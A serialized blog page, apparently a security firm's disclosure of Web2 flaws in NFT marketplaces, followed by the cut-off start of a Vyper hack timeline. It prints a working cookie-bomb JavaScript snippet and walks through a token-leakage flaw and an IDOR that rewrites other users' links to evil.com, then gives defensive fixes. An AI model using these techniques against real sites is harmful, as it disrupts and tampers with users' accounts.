\u003C/svg>\n","jsx",[134205],{"type":26,"tag":83,"props":134206,"children":134207},{"__ignoreMap":8},[134208,134247,134278,134285,134312,134343,134370,134378,134386,134393,134405,134478,134485,134500],{"type":26,"tag":217,"props":134209,"children":134210},{"class":7028,"line":7029},[134211,134215,134219,134223,134227,134231,134235,134239,134243],{"type":26,"tag":217,"props":134212,"children":134213},{"style":7149},[134214],{"type":32,"value":133922},{"type":26,"tag":217,"props":134216,"children":134217},{"style":7054},[134218],{"type":32,"value":133927},{"type":26,"tag":217,"props":134220,"children":134221},{"style":7054},[134222],{"type":32,"value":133932},{"type":26,"tag":217,"props":134224,"children":134225},{"style":7149},[134226],{"type":32,"value":267},{"type":26,"tag":217,"props":134228,"children":134229},{"style":7338},[134230],{"type":32,"value":133941},{"type":26,"tag":217,"props":134232,"children":134233},{"style":7054},[134234],{"type":32,"value":133946},{"type":26,"tag":217,"props":134236,"children":134237},{"style":7149},[134238],{"type":32,"value":267},{"type":26,"tag":217,"props":134240,"children":134241},{"style":7338},[134242],{"type":32,"value":133955},{"type":26,"tag":217,"props":134244,"children":134245},{"style":7149},[134246],{"type":32,"value":133960},{"type":26,"tag":217,"props":134248,"children":134249},{"class":7028,"line":6770},[134250,134254,134258,134262,134266,134270,134274],{"type":26,"tag":217,"props":134251,"children":134252},{"style":7149},[134253],{"type":32,"value":7266},{"type":26,"tag":217,"props":134255,"children":134256},{"style":7054},[134257],{"type":32,"value":7271},{"type":26,"tag":217,"props":134259,"children":134260},{"style":7054},[134261],{"type":32,"value":133976},{"type":26,"tag":217,"props":134263,"children":134264},{"style":7054},[134265],{"type":32,"value":133981},{"type":26,"tag":217,"props":134267,"children":134268},{"style":7338},[134269],{"type":32,"value":133986},{"type":26,"tag":217,"props":134271,"children":134272},{"style":7338},[134273],{"type":32,"value":133991},{"type":26,"tag":217,"props":134275,"children":134276},{"style":7149},[134277],{"type":32,"value":7281},{"type":26,"tag":217,"props":134279,"children":134280},{"class":7028,"line":6779},[134281],{"type":26,"tag":217,"props":134282,"children":134283},{"emptyLinePlaceholder":17},[134284],{"type":32,"value":7817},{"type":26,"tag":217,"props":134286,"children":134287},{"class":7028,"line":7140},[134288,134292,134296,134300,134304,134308],{"type":26,"tag":217,"props":134289,"children":134290},{"style":7263},[134291],{"type":32,"value":13147},{"type":26,"tag":217,"props":134293,"children":134294},{"style":7154},[134295],{"type":32,"value":47190},{"type":26,"tag":217,"props":134297,"children":134298},{"style":7054},[134299],{"type":32,"value":134018},{"type":26,"tag":217,"props":134301,"children":134302},{"style":7149},[134303],{"type":32,"value":267},{"type":26,"tag":217,"props":134305,"children":134306},{"style":7338},[134307],{"type":32,"value":134027},{"type":26,"tag":217,"props":134309,"children":134310},{"style":7263},[134311],{"type":32,"value":7281},{"type":26,"tag":217,"props":134313,"children":134314},{"class":7028,"line":7165},[134315,134319,134323,134327,134331,134335,134339],{"type":26,"tag":217,"props":134316,"children":134317},{"style":7263},[134318],{"type":32,"value":132163},{"type":26,"tag":217,"props":134320,"children":134321},{"style":7154},[134322],{"type":32,"value":7357},{"type":26,"tag":217,"props":134324,"children":134325},{"style":7263},[134326],{"type":32,"value":5903},{"type":26,"tag":217,"props":134328,"children":134329},{"style":7048},[134330],{"type":32,"value":131038},{"type":26,"tag":217,"props":134332,"children":134333},{"style":7263},[134334],{"type":32,"value":7378},{"type":26,"tag":217,"props":134336,"children":134337},{"style":7154},[134338],{"type":32,"value":7357},{"type":26,"tag":217,"props":134340,"children":134341},{"style":7263},[134342],{"type":32,"value":7281},{"type":26,"tag":217,"props":134344,"children":134345},{"class":7028,"line":7178},[134346,134350,134354,134358,134362,134366],{"type":26,"tag":217,"props":134347,"children":134348},{"style":7263},[134349],{"type":32,"value":132163},{"type":26,"tag":217,"props":134351,"children":134352},{"style":7154},[134353],{"type":32,"value":7563},{"type":26,"tag":217,"props":134355,"children":134356},{"style":7054},[134357],{"type":32,"value":132304},{"type":26,"tag":217,"props":134359,"children":134360},{"style":7149},[134361],{"type":32,"value":267},{"type":26,"tag":217,"props":134363,"children":134364},{"style":7338},[134365],{"type":32,"value":134086},{"type":26,"tag":217,"props":134367,"children":134368},{"style":7263},[134369],{"type":32,"value":7281},{"type":26,"tag":217,"props":134371,"children":134372},{"class":7028,"line":7389},[134373],{"type":26,"tag":217,"props":134374,"children":134375},{"style":7048},[134376],{"type":32,"value":134377},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":26,"tag":217,"props":134379,"children":134380},{"class":7028,"line":7406},[134381],{"type":26,"tag":217,"props":134382,"children":134383},{"style":7048},[134384],{"type":32,"value":134385},"   var Set_Cookie = Array(10000).join('a');\n",{"type":26,"tag":217,"props":134387,"children":134388},{"class":7028,"line":7439},[134389],{"type":26,"tag":217,"props":134390,"children":134391},{"emptyLinePlaceholder":17},[134392],{"type":32,"value":7817},{"type":26,"tag":217,"props":134394,"children":134395},{"class":7028,"line":7487},[134396,134401],{"type":26,"tag":217,"props":134397,"children":134398},{"style":7048},[134399],{"type":32,"value":134400},"   for (var i = 1; i \u003C 99; i++) ",{"type":26,"tag":217,"props":134402,"children":134403},{"style":7154},[134404],{"type":32,"value":10033},{"type":26,"tag":217,"props":134406,"children":134407},{"class":7028,"line":7524},[134408,134412,134416,134421,134425,134430,134434,134438,134442,134447,134451,134456,134460,134465,134469,134474],{"type":26,"tag":217,"props":134409,"children":134410},{"style":7054},[134411],{"type":32,"value":127505},{"type":26,"tag":217,"props":134413,"children":134414},{"style":7149},[134415],{"type":32,"value":180},{"type":26,"tag":217,"props":134417,"children":134418},{"style":7054},[134419],{"type":32,"value":134420},"cookie",{"type":26,"tag":217,"props":134422,"children":134423},{"style":7149},[134424],{"type":32,"value":4984},{"type":26,"tag":217,"props":134426,"children":134427},{"style":7338},[134428],{"type":32,"value":134429},"'Cookie'",{"type":26,"tag":217,"props":134431,"children":134432},{"style":7149},[134433],{"type":32,"value":7773},{"type":26,"tag":217,"props":134435,"children":134436},{"style":7054},[134437],{"type":32,"value":2290},{"type":26,"tag":217,"props":134439,"children":134440},{"style":7149},[134441],{"type":32,"value":7773},{"type":26,"tag":217,"props":134443,"children":134444},{"style":7338},[134445],{"type":32,"value":134446},"'='",{"type":26,"tag":217,"props":134448,"children":134449},{"style":7149},[134450],{"type":32,"value":7773},{"type":26,"tag":217,"props":134452,"children":134453},{"style":7054},[134454],{"type":32,"value":134455},"Set_Cookie",{"type":26,"tag":217,"props":134457,"children":134458},{"style":7149},[134459],{"type":32,"value":7773},{"type":26,"tag":217,"props":134461,"children":134462},{"style":7338},[134463],{"type":32,"value":134464},"';Domain='",{"type":26,"tag":217,"props":134466,"children":134467},{"style":7149},[134468],{"type":32,"value":7773},{"type":26,"tag":217,"props":134470,"children":134471},{"style":7054},[134472],{"type":32,"value":134473},"Take_Domain",{"type":26,"tag":217,"props":134475,"children":134476},{"style":7149},[134477],{"type":32,"value":7162},{"type":26,"tag":217,"props":134479,"children":134480},{"class":7028,"line":7553},[134481],{"type":26,"tag":217,"props":134482,"children":134483},{"style":7154},[134484],{"type":32,"value":10864},{"type":26,"tag":217,"props":134486,"children":134487},{"class":7028,"line":7570},[134488,134492,134496],{"type":26,"tag":217,"props":134489,"children":134490},{"style":7263},[134491],{"type":32,"value":134106},{"type":26,"tag":217,"props":134493,"children":134494},{"style":7154},[134495],{"type":32,"value":7563},{"type":26,"tag":217,"props":134497,"children":134498},{"style":7263},[134499],{"type":32,"value":7281},{"type":26,"tag":217,"props":134501,"children":134502},{"class":7028,"line":7621},[134503,134507,134511],{"type":26,"tag":217,"props":134504,"children":134505},{"style":7263},[134506],{"type":32,"value":134122},{"type":26,"tag":217,"props":134508,"children":134509},{"style":7154},[134510],{"type":32,"value":47190},{"type":26,"tag":217,"props":134512,"children":134513},{"style":7263},[134514],{"type":32,"value":7281},{"type":26,"tag":39,"props":134516,"children":134517},{},[134518],{"type":32,"value":134519},"As a result, we're able to prevent the user from loading images.",{"type":26,"tag":27,"props":134521,"children":134523},{"id":134522},"authentication",[134524],{"type":32,"value":134525},"Authentication",{"type":26,"tag":39,"props":134527,"children":134528},{},[134529],{"type":26,"tag":65,"props":134530,"children":134531},{},[134532,134534,134541],{"type":32,"value":134533},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":26,"tag":163,"props":134535,"children":134538},{"href":134536,"rel":134537},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[167],[134539],{"type":32,"value":134540},"great misfortune has occured",{"type":32,"value":180},{"type":26,"tag":607,"props":134543,"children":134545},{"id":134544},"verification-token-leakage",[134546],{"type":32,"value":134547},"Verification Token Leakage",{"type":26,"tag":39,"props":134549,"children":134550},{},[134551],{"type":32,"value":134552},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":26,"tag":39,"props":134554,"children":134555},{},[134556],{"type":32,"value":134557},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":26,"tag":39,"props":134559,"children":134560},{},[134561,134565],{"type":26,"tag":65,"props":134562,"children":134563},{},[134564],{"type":32,"value":7225},{"type":32,"value":134566},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":26,"tag":39,"props":134568,"children":134569},{},[134570],{"type":32,"value":134571},"Here's the breakdown.",{"type":26,"tag":39,"props":134573,"children":134574},{},[134575],{"type":32,"value":134576},"First, we send the verification link to a user's email:",{"type":26,"tag":6986,"props":134578,"children":134579},{"style":6988},[134580],{"type":26,"tag":6468,"props":134581,"children":134585},{"src":134582,"alt":134583,"style":134584},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":26,"tag":39,"props":134587,"children":134588},{},[134589],{"type":32,"value":134590},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":26,"tag":607,"props":134592,"children":134594},{"id":134593},"idor",[134595],{"type":32,"value":134596},"IDOR",{"type":26,"tag":39,"props":134598,"children":134599},{},[134600],{"type":26,"tag":65,"props":134601,"children":134602},{},[134603,134605,134612],{"type":32,"value":134604},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":26,"tag":163,"props":134606,"children":134609},{"href":134607,"rel":134608},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[167],[134610],{"type":32,"value":134611},"insect",{"type":32,"value":180},{"type":26,"tag":39,"props":134614,"children":134615},{},[134616,134618,134624],{"type":32,"value":134617},"During a security assessment of the ",{"type":26,"tag":163,"props":134619,"children":134622},{"href":134620,"rel":134621},"https://rocki.com",[167],[134623],{"type":32,"value":131085},{"type":32,"value":134625},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":26,"tag":39,"props":134627,"children":134628},{},[134629],{"type":32,"value":134630},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":26,"tag":39,"props":134632,"children":134633},{},[134634],{"type":32,"value":134635},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":26,"tag":39,"props":134637,"children":134638},{},[134639,134641,134647,134649,134654],{"type":32,"value":134640},"Here is an example of a request that modifies another user's social media link to ",{"type":26,"tag":83,"props":134642,"children":134644},{"className":134643},[],[134645],{"type":32,"value":134646},"https://evil.com/",{"type":32,"value":134648},". To achieve this, we simply changed the ",{"type":26,"tag":83,"props":134650,"children":134652},{"className":134651},[],[134653],{"type":32,"value":95138},{"type":32,"value":134655}," field value to one that belongs to another user:",{"type":26,"tag":39,"props":134657,"children":134658},{},[134659],{"type":26,"tag":6468,"props":134660,"children":134662},{"alt":8,"src":134661},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":26,"tag":39,"props":134664,"children":134665},{},[134666],{"type":32,"value":134667},"The following screenshot is the response to our request:",{"type":26,"tag":39,"props":134669,"children":134670},{},[134671],{"type":26,"tag":6468,"props":134672,"children":134674},{"alt":8,"src":134673},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":26,"tag":27,"props":134676,"children":134678},{"id":134677},"preventative-action-steps-for-marketplaces",[134679],{"type":26,"tag":9348,"props":134680,"children":134681},{},[134682],{"type":32,"value":134683},"Preventative Action Steps for Marketplaces",{"type":26,"tag":39,"props":134685,"children":134686},{},[134687],{"type":32,"value":134688},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":26,"tag":39,"props":134690,"children":134691},{},[134692,134694,134699,134701,134706],{"type":32,"value":134693},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":26,"tag":83,"props":134695,"children":134697},{"className":134696},[],[134698],{"type":32,"value":8550},{"type":32,"value":134700}," instead of ",{"type":26,"tag":83,"props":134702,"children":134704},{"className":134703},[],[134705],{"type":32,"value":119142},{"type":32,"value":134707}," in client-side:",{"type":26,"tag":207,"props":134709,"children":134711},{"className":24581,"code":134710,"language":24580,"meta":8,"style":8},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[134712],{"type":26,"tag":83,"props":134713,"children":134714},{"__ignoreMap":8},[134715],{"type":26,"tag":217,"props":134716,"children":134717},{"class":7028,"line":7029},[134718,134722,134726,134730,134734,134739,134743,134747,134751,134756],{"type":26,"tag":217,"props":134719,"children":134720},{"style":7054},[134721],{"type":32,"value":7929},{"type":26,"tag":217,"props":134723,"children":134724},{"style":7048},[134725],{"type":32,"value":180},{"type":26,"tag":217,"props":134727,"children":134728},{"style":7064},[134729],{"type":32,"value":119171},{"type":26,"tag":217,"props":134731,"children":134732},{"style":7048},[134733],{"type":32,"value":1851},{"type":26,"tag":217,"props":134735,"children":134736},{"style":7338},[134737],{"type":32,"value":134738},"'nftCollectionName'",{"type":26,"tag":217,"props":134740,"children":134741},{"style":7048},[134742],{"type":32,"value":8256},{"type":26,"tag":217,"props":134744,"children":134745},{"style":7054},[134746],{"type":32,"value":8550},{"type":26,"tag":217,"props":134748,"children":134749},{"style":7149},[134750],{"type":32,"value":8993},{"type":26,"tag":217,"props":134752,"children":134753},{"style":7054},[134754],{"type":32,"value":134755}," nftCollectionName",{"type":26,"tag":217,"props":134757,"children":134758},{"style":7048},[134759],{"type":32,"value":7162},{"type":26,"tag":39,"props":134761,"children":134762},{},[134763],{"type":32,"value":134764},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":26,"tag":207,"props":134766,"children":134768},{"className":24581,"code":134767,"language":24580,"meta":8,"style":8},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[134769],{"type":26,"tag":83,"props":134770,"children":134771},{"__ignoreMap":8},[134772],{"type":26,"tag":217,"props":134773,"children":134774},{"class":7028,"line":7029},[134775,134779,134784,134788,134793,134797,134802,134806,134811],{"type":26,"tag":217,"props":134776,"children":134777},{"style":7154},[134778],{"type":32,"value":25917},{"type":26,"tag":217,"props":134780,"children":134781},{"style":7054},[134782],{"type":32,"value":134783}," sanitizedInput",{"type":26,"tag":217,"props":134785,"children":134786},{"style":7149},[134787],{"type":32,"value":8993},{"type":26,"tag":217,"props":134789,"children":134790},{"style":7054},[134791],{"type":32,"value":134792}," DOMPurify",{"type":26,"tag":217,"props":134794,"children":134795},{"style":7048},[134796],{"type":32,"value":180},{"type":26,"tag":217,"props":134798,"children":134799},{"style":7064},[134800],{"type":32,"value":134801},"sanitize",{"type":26,"tag":217,"props":134803,"children":134804},{"style":7048},[134805],{"type":32,"value":1851},{"type":26,"tag":217,"props":134807,"children":134808},{"style":7054},[134809],{"type":32,"value":134810},"userInput",{"type":26,"tag":217,"props":134812,"children":134813},{"style":7048},[134814],{"type":32,"value":7669},{"type":26,"tag":39,"props":134816,"children":134817},{},[134818,134820,134827],{"type":32,"value":134819},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":26,"tag":163,"props":134821,"children":134824},{"href":134822,"rel":134823},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[167],[134825],{"type":32,"value":134826},"Content-Security-Policy",{"type":32,"value":134828}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":26,"tag":39,"props":134830,"children":134831},{},[134832],{"type":32,"value":134833},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":26,"tag":39,"props":134835,"children":134836},{},[134837,134839,134846],{"type":32,"value":134838},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":26,"tag":163,"props":134840,"children":134843},{"href":134841,"rel":134842},"https://www.techtarget.com/whatis/definition/whitelist",[167],[134844],{"type":32,"value":134845},"allow-list",{"type":32,"value":9124},{"type":26,"tag":207,"props":134848,"children":134850},{"className":24581,"code":134849,"language":24580,"meta":8,"style":8},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[134851],{"type":26,"tag":83,"props":134852,"children":134853},{"__ignoreMap":8},[134854,134883,134923,134952],{"type":26,"tag":217,"props":134855,"children":134856},{"class":7028,"line":7029},[134857,134861,134866,134870,134874,134879],{"type":26,"tag":217,"props":134858,"children":134859},{"style":7154},[134860],{"type":32,"value":74748},{"type":26,"tag":217,"props":134862,"children":134863},{"style":7054},[134864],{"type":32,"value":134865}," allowDomains",{"type":26,"tag":217,"props":134867,"children":134868},{"style":7149},[134869],{"type":32,"value":8993},{"type":26,"tag":217,"props":134871,"children":134872},{"style":7048},[134873],{"type":32,"value":95870},{"type":26,"tag":217,"props":134875,"children":134876},{"style":7338},[134877],{"type":32,"value":134878},"'https://allowed-domain'",{"type":26,"tag":217,"props":134880,"children":134881},{"style":7048},[134882],{"type":32,"value":10652},{"type":26,"tag":217,"props":134884,"children":134885},{"class":7028,"line":6770},[134886,134890,134894,134898,134903,134907,134911,134915,134919],{"type":26,"tag":217,"props":134887,"children":134888},{"style":7042},[134889],{"type":32,"value":7045},{"type":26,"tag":217,"props":134891,"children":134892},{"style":7048},[134893],{"type":32,"value":7051},{"type":26,"tag":217,"props":134895,"children":134896},{"style":7149},[134897],{"type":32,"value":11704},{"type":26,"tag":217,"props":134899,"children":134900},{"style":7054},[134901],{"type":32,"value":134902},"allowDomains",{"type":26,"tag":217,"props":134904,"children":134905},{"style":7048},[134906],{"type":32,"value":180},{"type":26,"tag":217,"props":134908,"children":134909},{"style":7064},[134910],{"type":32,"value":67342},{"type":26,"tag":217,"props":134912,"children":134913},{"style":7048},[134914],{"type":32,"value":1851},{"type":26,"tag":217,"props":134916,"children":134917},{"style":7054},[134918],{"type":32,"value":117168},{"type":26,"tag":217,"props":134920,"children":134921},{"style":7048},[134922],{"type":32,"value":33209},{"type":26,"tag":217,"props":134924,"children":134925},{"class":7028,"line":6779},[134926,134930,134934,134939,134943,134948],{"type":26,"tag":217,"props":134927,"children":134928},{"style":7042},[134929],{"type":32,"value":24754},{"type":26,"tag":217,"props":134931,"children":134932},{"style":7154},[134933],{"type":32,"value":25931},{"type":26,"tag":217,"props":134935,"children":134936},{"style":7064},[134937],{"type":32,"value":134938}," ApolloError",{"type":26,"tag":217,"props":134940,"children":134941},{"style":7048},[134942],{"type":32,"value":1851},{"type":26,"tag":217,"props":134944,"children":134945},{"style":7338},[134946],{"type":32,"value":134947},"'invalid domain'",{"type":26,"tag":217,"props":134949,"children":134950},{"style":7048},[134951],{"type":32,"value":7669},{"type":26,"tag":217,"props":134953,"children":134954},{"class":7028,"line":7140},[134955],{"type":26,"tag":217,"props":134956,"children":134957},{"style":7048},[134958],{"type":32,"value":7184},{"type":26,"tag":39,"props":134960,"children":134961},{},[134962,134964,134971,134973,134980],{"type":32,"value":134963},"As ",{"type":26,"tag":163,"props":134965,"children":134968},{"href":134966,"rel":134967},"https://graphql.org/",[167],[134969],{"type":32,"value":134970},"GraphQl",{"type":32,"value":134972}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":26,"tag":163,"props":134974,"children":134977},{"href":134975,"rel":134976},"https://graphql.org/learn/introspection/",[167],[134978],{"type":32,"value":134979},"introspection",{"type":32,"value":134981}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":26,"tag":207,"props":134983,"children":134985},{"className":24581,"code":134984,"language":24580,"meta":8,"style":8},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[134986],{"type":26,"tag":83,"props":134987,"children":134988},{"__ignoreMap":8},[134989,135018,135030,135042,135058],{"type":26,"tag":217,"props":134990,"children":134991},{"class":7028,"line":7029},[134992,134996,135001,135005,135009,135014],{"type":26,"tag":217,"props":134993,"children":134994},{"style":7154},[134995],{"type":32,"value":74748},{"type":26,"tag":217,"props":134997,"children":134998},{"style":7054},[134999],{"type":32,"value":135000}," server",{"type":26,"tag":217,"props":135002,"children":135003},{"style":7149},[135004],{"type":32,"value":8993},{"type":26,"tag":217,"props":135006,"children":135007},{"style":7154},[135008],{"type":32,"value":25931},{"type":26,"tag":217,"props":135010,"children":135011},{"style":7064},[135012],{"type":32,"value":135013}," ApolloServer",{"type":26,"tag":217,"props":135015,"children":135016},{"style":7048},[135017],{"type":32,"value":13500},{"type":26,"tag":217,"props":135019,"children":135020},{"class":7028,"line":6770},[135021,135026],{"type":26,"tag":217,"props":135022,"children":135023},{"style":7054},[135024],{"type":32,"value":135025},"  typeDefs",{"type":26,"tag":217,"props":135027,"children":135028},{"style":7048},[135029],{"type":32,"value":10953},{"type":26,"tag":217,"props":135031,"children":135032},{"class":7028,"line":6779},[135033,135038],{"type":26,"tag":217,"props":135034,"children":135035},{"style":7054},[135036],{"type":32,"value":135037},"  resolvers",{"type":26,"tag":217,"props":135039,"children":135040},{"style":7048},[135041],{"type":32,"value":10953},{"type":26,"tag":217,"props":135043,"children":135044},{"class":7028,"line":7140},[135045,135050,135054],{"type":26,"tag":217,"props":135046,"children":135047},{"style":7054},[135048],{"type":32,"value":135049},"  introspection:",{"type":26,"tag":217,"props":135051,"children":135052},{"style":7154},[135053],{"type":32,"value":7795},{"type":26,"tag":217,"props":135055,"children":135056},{"style":7048},[135057],{"type":32,"value":10953},{"type":26,"tag":217,"props":135059,"children":135060},{"class":7028,"line":7165},[135061],{"type":26,"tag":217,"props":135062,"children":135063},{"style":7048},[135064],{"type":32,"value":14040},{"type":26,"tag":39,"props":135066,"children":135067},{},[135068,135070,135077,135079,135086],{"type":32,"value":135069},"Similarly, when ",{"type":26,"tag":163,"props":135071,"children":135074},{"href":135072,"rel":135073},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[167],[135075],{"type":32,"value":135076},"batching",{"type":32,"value":135078}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":26,"tag":163,"props":135080,"children":135083},{"href":135081,"rel":135082},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[167],[135084],{"type":32,"value":135085},"denial-of-service",{"type":32,"value":135087}," (DoS) attacks.",{"type":26,"tag":39,"props":135089,"children":135090},{},[135091],{"type":32,"value":135092},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":26,"tag":39,"props":135094,"children":135095},{},[135096],{"type":32,"value":135097},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":26,"tag":454,"props":135099,"children":135100},{"id":9272},[135101],{"type":32,"value":9275},{"type":26,"tag":39,"props":135103,"children":135104},{},[135105],{"type":32,"value":135106},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":26,"tag":39,"props":135108,"children":135109},{},[135110],{"type":32,"value":135111},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":26,"tag":27,"props":135113,"children":135115},{"id":135114},"disclaimer",[135116],{"type":32,"value":135117},"Disclaimer",{"type":26,"tag":39,"props":135119,"children":135120},{},[135121],{"type":32,"value":135122},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":26,"tag":9282,"props":135124,"children":135125},{},[135126],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":135128},[135129,135132,135138,135142,135143],{"id":24419,"depth":6770,"text":24422,"children":135130},[135131],{"id":131020,"depth":6779,"text":131023},{"id":131006,"depth":6770,"text":131038,"children":135133},[135134,135135,135136,135137],{"id":131057,"depth":6779,"text":131060},{"id":131122,"depth":6779,"text":131125},{"id":133894,"depth":6779,"text":133897},{"id":134180,"depth":6779,"text":134183},{"id":134522,"depth":6770,"text":134525,"children":135139},[135140,135141],{"id":134544,"depth":6779,"text":134547},{"id":134593,"depth":6779,"text":134596},{"id":134677,"depth":6770,"text":134683},{"id":135114,"depth":6770,"text":135117},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":135148,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":135149,"description":135150,"author":96998,"image":135151,"date":135153,"isFeatured":17,"onBlogPage":17,"tags":135154,"body":135156,"_type":6799,"_id":135904,"_source":6801,"_file":135905,"_stem":135906,"_extension":6804},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":135152,"height":6817,"width":6817},"/posts/vyper-timeline/header.jpg","2023-08-01",[135155,73989],"vyper",{"type":23,"children":135157,"toc":135895},[135158,135163,135168,135173,135179,135184,135202,135212,135217,135225,135235,135254,135334,135344,135502,135507,135512,135522,135529,135534,135539,135553,135558,135575,135592,135611,135621,135634,135639,135652,135657,135662,135672,135698,135708,135738,135744,135753,135759,135764,135769,135774,135780,135785,135799,135804,135809,135814,135820,135825,135838,135864,135869,135891],{"type":26,"tag":39,"props":135159,"children":135160},{},[135161],{"type":32,"value":135162},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":26,"tag":39,"props":135164,"children":135165},{},[135166],{"type":32,"value":135167},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":26,"tag":39,"props":135169,"children":135170},{},[135171],{"type":32,"value":135172},"Here's how it all happened.",{"type":26,"tag":27,"props":135174,"children":135176},{"id":135175},"timeline",[135177],{"type":32,"value":135178},"Timeline",{"type":26,"tag":39,"props":135180,"children":135181},{},[135182],{"type":32,"value":135183},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":26,"tag":39,"props":135185,"children":135186},{},[135187,135192,135194,135201],{"type":26,"tag":9348,"props":135188,"children":135189},{},[135190],{"type":32,"value":135191},"13:10 UTC",{"type":32,"value":135193}," pETH/ETH was ",{"type":26,"tag":163,"props":135195,"children":135198},{"href":135196,"rel":135197},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[167],[135199],{"type":32,"value":135200},"drained of $11M",{"type":32,"value":180},{"type":26,"tag":39,"props":135203,"children":135204},{},[135205,135210],{"type":26,"tag":9348,"props":135206,"children":135207},{},[135208],{"type":32,"value":135209},"13:19 UTC",{"type":32,"value":135211}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":26,"tag":39,"props":135213,"children":135214},{},[135215],{"type":32,"value":135216},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":26,"tag":35,"props":135218,"children":135219},{},[135220],{"type":26,"tag":39,"props":135221,"children":135222},{},[135223],{"type":32,"value":135224},"But how did the bot reenter into add_liquidity() from 